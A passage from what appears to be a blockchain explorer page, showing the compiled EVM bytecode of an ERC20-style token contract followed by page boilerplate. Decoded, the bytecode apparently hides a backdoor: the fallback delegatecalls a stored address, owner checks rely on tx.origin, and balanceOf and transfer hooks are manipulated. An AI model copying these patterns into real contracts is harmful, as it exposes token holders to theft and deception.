fffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d009190611561565b60405180910390a3505050565b5f610d1884846109d2565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610d925781811015610d84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d7b90611e8b565b60405180910390fd5b610d918484848403610b4a565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610e06576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dfd90611f19565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015610e6e57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b610ead576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea490611fa7565b60405180910390fd5b610eb883838361122b565b5f60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015610f3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f339061200f565b60405180910390fd5b8160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610f88919061202d565b925050819055508160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610fdb91906118a5565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161103f9190611561565b60405180910390a3611052848484611230565b50505050565b5f8073bb4cdb9cbd36b01bd1cbaebf2de08d9173bc095c73ffffffffffffffffffffffffffffffffffffffff166370a0823160045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040516024016110bc91906113b0565b6040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505060405161110a91906120a4565b5f60405180830381855afa9150503d805f8114611142576040519150601f19603f3d011682016040523d82523d5f602084013e611147565b606091505b509150508080602001905181019061115f91906120ce565b91505090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b333055565b505050565b60fe60035461123f91906120f9565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054111561128c575f60205561136c565b60035460015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054108015611327575060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561136b57805f5230827f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560205fa361270f54828161271001558060010161270f55505b5b505050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61139a82611371565b9050919050565b6113aa81611390565b82525050565b5f6020820190506113c35f8301846113a1565b92915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156114005780820151818401526020810190506113e5565b5f8484015250505050565b5f601f19601f8301169050919050565b5f611425826113c9565b61142f81856113d3565b935061143f8185602086016113e3565b6114488161140b565b840191505092915050565b5f6020820190508181035f83015261146b818461141b565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b61148d81611390565b8114611497575f80fd5b50565b5f813590506114a881611484565b92915050565b5f819050919050565b6114c0816114ae565b81146114ca575f80fd5b50565b5f813590506114db816114b7565b92915050565b5f80604083850312156114f7576114f661147c565b5b5f6115048582860161149a565b9250506020611515858286016114cd565b9150509250929050565b5f8115159050919050565b6115338161151f565b82525050565b5f60208201905061154c5f83018461152a565b92915050565b61155b816114ae565b82525050565b5f6020820190506115745f830184611552565b92915050565b5f805f606084860312156115915761159061147c565b5b5f61159e8682870161149a565b93505060206115af8682870161149a565b92505060406115c0868287016114cd565b9150509250925092565b5f60ff82169050919050565b6115df816115ca565b82525050565b5f6020820190506115f85f8301846115d6565b92915050565b5f602082840312156116135761161261147c565b5b5f6116208482850161149a565b91505092915050565b5f80fd5b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b6116678261140b565b810181811067ffffffffffffffff8211171561168657611685611631565b5b80604052505050565b5f611698611473565b90506116a4828261165e565b919050565b5f67ffffffffffffffff8211156116c3576116c2611631565b5b6116cc8261140b565b9050602081019050919050565b828183375f83830152505050565b5f6116f96116f4846116a9565b61168f565b9050828152602081018484840111156117155761171461162d565b5b6117208482856116d9565b509392505050565b5f82601f83011261173c5761173b611629565b5b813561174c8482602086016116e7565b91505092915050565b5f805f6060848603121561176c5761176b61147c565b5b5f84013567ffffffffffffffff81111561178957611788611480565b5b61179586828701611728565b935050602084013567ffffffffffffffff8111156117b6576117b5611480565b5b6117c286828701611728565b92505060406117d3868287016114cd565b9150509250925092565b5f80604083850312156117f3576117f261147c565b5b5f6118008582860161149a565b92505060206118118582860161149a565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061185f57607f821691505b6020821081036118725761187161181b565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6118af826114ae565b91506118ba836114ae565b92508282019050808211156118d2576118d1611878565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61190f826114ae565b915061191a836114ae565b92508261192a576119296118d8565b5b828206905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6119696020836113d3565b915061197482611935565b602082019050919050565b5f6020820190508181035f8301526119968161195d565b9050919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026119f97fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826119be565b611a0386836119be565b95508019841693508086168417925050509392505050565b5f819050919050565b5f611a3e611a39611a34846114ae565b611a1b565b6114ae565b9050919050565b5f819050919050565b611a5783611a24565b611a6b611a6382611a45565b8484546119ca565b825550505050565b5f90565b611a7f611a73565b611a8a818484611a4e565b505050565b5b81811015611aad57611aa25f82611a77565b600181019050611a90565b5050565b601f821115611af257611ac38161199d565b611acc846119af565b81016020851015611adb578190505b611aef611ae7856119af565b830182611a8f565b50505b505050565b5f82821c905092915050565b5f611b125f1984600802611af7565b1980831691505092915050565b5f611b2a8383611b03565b9150826002028217905092915050565b611b43826113c9565b67ffffffffffffffff811115611b5c57611b5b611631565b5b611b668254611848565b611b71828285611ab1565b5f60209050601f831160018114611ba2575f8415611b90578287015190505b611b9a8582611b1f565b865550611c01565b601f198416611bb08661199d565b5f5b82811015611bd757848901518255600182019150602085019450602081019050611bb2565b86831015611bf45784890151611bf0601f891682611b03565b8355505b6001600288020188555050505b505050505050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f611c636025836113d3565b9150611c6e82611c09565b604082019050919050565b5f6020820190508181035f830152611c9081611c57565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f611cf16026836113d3565b9150611cfc82611c97565b604082019050919050565b5f6020820190508181035f830152611d1e81611ce5565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f611d7f6024836113d3565b9150611d8a82611d25565b604082019050919050565b5f6020820190508181035f830152611dac81611d73565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f611e0d6022836113d3565b9150611e1882611db3565b604082019050919050565b5f6020820190508181035f830152611e3a81611e01565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000005f82015250565b5f611e75601d836113d3565b9150611e8082611e41565b602082019050919050565b5f6020820190508181035f830152611ea281611e69565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f611f036025836113d3565b9150611f0e82611ea9565b604082019050919050565b5f6020820190508181035f830152611f3081611ef7565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f611f916023836113d3565b9150611f9c82611f37565b604082019050919050565b5f6020820190508181035f830152611fbe81611f85565b9050919050565b7f45524332303a207472616e7366657220657863656564732062616c616e6365005f82015250565b5f611ff9601f836113d3565b915061200482611fc5565b602082019050919050565b5f6020820190508181035f83015261202681611fed565b9050919050565b5f612037826114ae565b9150612042836114ae565b925082820390508181111561205a57612059611878565b5b92915050565b5f81519050919050565b5f81905092915050565b5f61207e82612060565b612088818561206a565b93506120988185602086016113e3565b80840191505092915050565b5f6120af8284612074565b915081905092915050565b5f815190506120c8816114b7565b92915050565b5f602082840312156120e3576120e261147c565b5b5f6120f0848285016120ba565b91505092915050565b5f612103826114ae565b915061210e836114ae565b925082820261211c816114ae565b9150828204841483151761213357612132611878565b5b509291505056fea26469706673582212203f47e0f848247f5dcf298f992cea41d516eb66c7c12721ac5982a74ef820e44564736f6c63430008140033

Deployed Bytecode

0x608060405260043610610101575f3560e01c8063715018a61161009457806395d89b411161006357806395d89b4114610348578063a457c2d714610372578063a9059cbb146103ae578063dd62ed3e146103ea578063f2fde38b1461042657610108565b8063715018a6146102b65780638d434c7e146102cc5780638da5cb5b146102f45780638dd950021461031e57610108565b806323b872dd116100d057806323b872dd146101d8578063313ce56714610214578063395093511461023e57806370a082311461027a57610108565b806303fd2a451461011e57806306fdde0314610148578063095ea7b31461017257806318160ddd146101ae57610108565b3661010857005b348015610113575f80fd5b5061011c61044e565b005b348015610129575f80fd5b506101326104c1565b60405161013f91906113b0565b60405180910390f35b348015610153575f80fd5b5061015c6104c7565b6040516101699190611453565b60405180910390f35b34801561017d575f80fd5b50610198600480360381019061019391906114e1565b610557565b6040516101a59190611539565b60405180910390f35b3480156101b9575f80fd5b506101c2610579565b6040516101cf9190611561565b60405180910390f35b3480156101e3575f80fd5b506101fe60048036038101906101f9919061157a565b610582565b60405161020b9190611539565b60405180910390f35b34801561021f575f80fd5b506102286105b0565b60405161023591906115e5565b60405180910390f35b348015610249575f80fd5b50610264600480360381019061025f91906114e1565b6105b8565b6040516102719190611539565b60405180910390f35b348015610285575f80fd5b506102a0600480360381019061029b91906115fe565b6105ee565b6040516102ad9190611561565b60405180910390f35b3480156102c1575f80fd5b506102ca61074a565b005b3480156102d7575f80fd5b506102f260048036038101906102ed9190611755565b6107ca565b005b3480156102ff575f80fd5b5061030861086c565b60405161031591906113b0565b60405180910390f35b348015610329575f80fd5b50610332610893565b60405161033f91906113b0565b60405180910390f35b348015610353575f80fd5b5061035c6108ab565b6040516103699190611453565b60405180910390f35b34801561037d575f80fd5b50610398600480360381019061039391906114e1565b61093b565b6040516103a59190611539565b60405180910390f35b3480156103b9575f80fd5b506103d460048036038101906103cf91906114e1565b6109b0565b6040516103e19190611539565b60405180910390f35b3480156103f5575f80fd5b50610410600480360381019061040b91906117dd565b6109d2565b60405161041d9190611561565b60405180910390f35b348015610431575f80fd5b5061044c600480360381019061044791906115fe565b610a54565b005b5f80368080601f0160208091040260200160405190810160405280939291908181526020018383808284375f81840152601f19601f82011690508083019250505050505050905060206028820151036104be5760205f60048351036024840130545af46104b9575f80fd5b60205ff35b50565b61dead81565b6060600580546104d690611848565b80601f016020809104026020016040519081016040528092919081815260200182805461050290611848565b801561054d5780601f106105245761010080835404028352916020019161054d565b820191905f5260205f20905b81548152906001019060200180831161053057829003601f168201915b5050505050905090565b5f80610561610b43565b905061056e818585610b4a565b600191505092915050565b5f600354905090565b5f8061058c610b43565b9050610599858285610d0d565b6105a4858585610d98565b60019150509392505050565b5f6009905090565b5f806105c2610b43565b90506105e38185856105d485896109d2565b6105de91906118a5565b610b4a565b600191505092915050565b5f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff160361065e575f61064c611058565b905060205481101561065c575f80fd5b505b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036106f75760015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050610745565b60035460015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546107429190611905565b90505b919050565b3273ffffffffffffffffffffffffffffffffffffffff1661076961086c565b73ffffffffffffffffffffffffffffffffffffffff16146107bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107b69061197f565b60405180910390fd5b6107c85f611165565b565b3273ffffffffffffffffffffffffffffffffffffffff166107e961086c565b73ffffffffffffffffffffffffffffffffffffffff161461083f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108369061197f565b60405180910390fd5b816006908161084e9190611b3a565b50826005908161085e9190611b3a565b50610867611226565b505050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b73bb4cdb9cbd36b01bd1cbaebf2de08d9173bc095c81565b6060600680546108ba90611848565b80601f01602080910402602001604051908101604052809291908181526020018280546108e690611848565b80156109315780601f1061090857610100808354040283529160200191610931565b820191905f5260205f20905b81548152906001019060200180831161091457829003601f168201915b5050505050905090565b5f80610945610b43565b90505f61095282866109d2565b905083811015610997576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161098e90611c79565b60405180910390fd5b6109a48286868403610b4a565b60019250505092915050565b5f806109ba610b43565b90506109c7818585610d98565b600191505092915050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b3273ffffffffffffffffffffffffffffffffffffffff16610a7361086c565b73ffffffffffffffffffffffffffffffffffffffff1614610ac9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ac09061197f565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610b37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b2e90611d07565b60405180910390fd5b610b4081611165565b50565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610bb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610baf90611d95565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c26576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1d90611e23565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d009190611561565b60405180910390a3505050565b5f610d1884846109d2565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610d925781811015610d84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d7b90611e8b565b60405180910390fd5b610d918484848403610b4a565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610e06576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dfd90611f19565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015610e6e57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b610ead576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea490611fa7565b60405180910390fd5b610eb883838361122b565b5f60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015610f3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f339061200f565b60405180910390fd5b8160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610f88919061202d565b925050819055508160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610fdb91906118a5565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161103f9190611561565b60405180910390a3611052848484611230565b50505050565b5f8073bb4cdb9cbd36b01bd1cbaebf2de08d9173bc095c73ffffffffffffffffffffffffffffffffffffffff166370a0823160045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040516024016110bc91906113b0565b6040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505060405161110a91906120a4565b5f60405180830381855afa9150503d805f8114611142576040519150601f19603f3d011682016040523d82523d5f602084013e611147565b606091505b509150508080602001905181019061115f91906120ce565b91505090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b333055565b505050565b60fe60035461123f91906120f9565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054111561128c575f60205561136c565b60035460015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054108015611327575060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561136b57805f5230827f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560205fa361270f54828161271001558060010161270f55505b5b505050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61139a82611371565b9050919050565b6113aa81611390565b82525050565b5f6020820190506113c35f8301846113a1565b92915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156114005780820151818401526020810190506113e5565b5f8484015250505050565b5f601f19601f8301169050919050565b5f611425826113c9565b61142f81856113d3565b935061143f8185602086016113e3565b6114488161140b565b840191505092915050565b5f6020820190508181035f83015261146b818461141b565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b61148d81611390565b8114611497575f80fd5b50565b5f813590506114a881611484565b92915050565b5f819050919050565b6114c0816114ae565b81146114ca575f80fd5b50565b5f813590506114db816114b7565b92915050565b5f80604083850312156114f7576114f661147c565b5b5f6115048582860161149a565b9250506020611515858286016114cd565b9150509250929050565b5f8115159050919050565b6115338161151f565b82525050565b5f60208201905061154c5f83018461152a565b92915050565b61155b816114ae565b82525050565b5f6020820190506115745f830184611552565b92915050565b5f805f606084860312156115915761159061147c565b5b5f61159e8682870161149a565b93505060206115af8682870161149a565b92505060406115c0868287016114cd565b9150509250925092565b5f60ff82169050919050565b6115df816115ca565b82525050565b5f6020820190506115f85f8301846115d6565b92915050565b5f602082840312156116135761161261147c565b5b5f6116208482850161149a565b91505092915050565b5f80fd5b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b6116678261140b565b810181811067ffffffffffffffff8211171561168657611685611631565b5b80604052505050565b5f611698611473565b90506116a4828261165e565b919050565b5f67ffffffffffffffff8211156116c3576116c2611631565b5b6116cc8261140b565b9050602081019050919050565b828183375f83830152505050565b5f6116f96116f4846116a9565b61168f565b9050828152602081018484840111156117155761171461162d565b5b6117208482856116d9565b509392505050565b5f82601f83011261173c5761173b611629565b5b813561174c8482602086016116e7565b91505092915050565b5f805f6060848603121561176c5761176b61147c565b5b5f84013567ffffffffffffffff81111561178957611788611480565b5b61179586828701611728565b935050602084013567ffffffffffffffff8111156117b6576117b5611480565b5b6117c286828701611728565b92505060406117d3868287016114cd565b9150509250925092565b5f80604083850312156117f3576117f261147c565b5b5f6118008582860161149a565b92505060206118118582860161149a565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061185f57607f821691505b6020821081036118725761187161181b565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6118af826114ae565b91506118ba836114ae565b92508282019050808211156118d2576118d1611878565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61190f826114ae565b915061191a836114ae565b92508261192a576119296118d8565b5b828206905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6119696020836113d3565b915061197482611935565b602082019050919050565b5f6020820190508181035f8301526119968161195d565b9050919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026119f97fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826119be565b611a0386836119be565b95508019841693508086168417925050509392505050565b5f819050919050565b5f611a3e611a39611a34846114ae565b611a1b565b6114ae565b9050919050565b5f819050919050565b611a5783611a24565b611a6b611a6382611a45565b8484546119ca565b825550505050565b5f90565b611a7f611a73565b611a8a818484611a4e565b505050565b5b81811015611aad57611aa25f82611a77565b600181019050611a90565b5050565b601f821115611af257611ac38161199d565b611acc846119af565b81016020851015611adb578190505b611aef611ae7856119af565b830182611a8f565b50505b505050565b5f82821c905092915050565b5f611b125f1984600802611af7565b1980831691505092915050565b5f611b2a8383611b03565b9150826002028217905092915050565b611b43826113c9565b67ffffffffffffffff811115611b5c57611b5b611631565b5b611b668254611848565b611b71828285611ab1565b5f60209050601f831160018114611ba2575f8415611b90578287015190505b611b9a8582611b1f565b865550611c01565b601f198416611bb08661199d565b5f5b82811015611bd757848901518255600182019150602085019450602081019050611bb2565b86831015611bf45784890151611bf0601f891682611b03565b8355505b6001600288020188555050505b505050505050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f611c636025836113d3565b9150611c6e82611c09565b604082019050919050565b5f6020820190508181035f830152611c9081611c57565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f611cf16026836113d3565b9150611cfc82611c97565b604082019050919050565b5f6020820190508181035f830152611d1e81611ce5565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f611d7f6024836113d3565b9150611d8a82611d25565b604082019050919050565b5f6020820190508181035f830152611dac81611d73565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f611e0d6022836113d3565b9150611e1882611db3565b604082019050919050565b5f6020820190508181035f830152611e3a81611e01565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000005f82015250565b5f611e75601d836113d3565b9150611e8082611e41565b602082019050919050565b5f6020820190508181035f830152611ea281611e69565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f611f036025836113d3565b9150611f0e82611ea9565b604082019050919050565b5f6020820190508181035f830152611f3081611ef7565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f611f916023836113d3565b9150611f9c82611f37565b604082019050919050565b5f6020820190508181035f830152611fbe81611f85565b9050919050565b7f45524332303a207472616e7366657220657863656564732062616c616e6365005f82015250565b5f611ff9601f836113d3565b915061200482611fc5565b602082019050919050565b5f6020820190508181035f83015261202681611fed565b9050919050565b5f612037826114ae565b9150612042836114ae565b925082820390508181111561205a57612059611878565b5b92915050565b5f81519050919050565b5f81905092915050565b5f61207e82612060565b612088818561206a565b93506120988185602086016113e3565b80840191505092915050565b5f6120af8284612074565b915081905092915050565b5f815190506120c8816114b7565b92915050565b5f602082840312156120e3576120e261147c565b5b5f6120f0848285016120ba565b91505092915050565b5f612103826114ae565b915061210e836114ae565b925082820261211c816114ae565b9150828204841483151761213357612132611878565b5b509291505056fea26469706673582212203f47e0f848247f5dcf298f992cea41d516eb66c7c12721ac5982a74ef820e44564736f6c63430008140033

Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.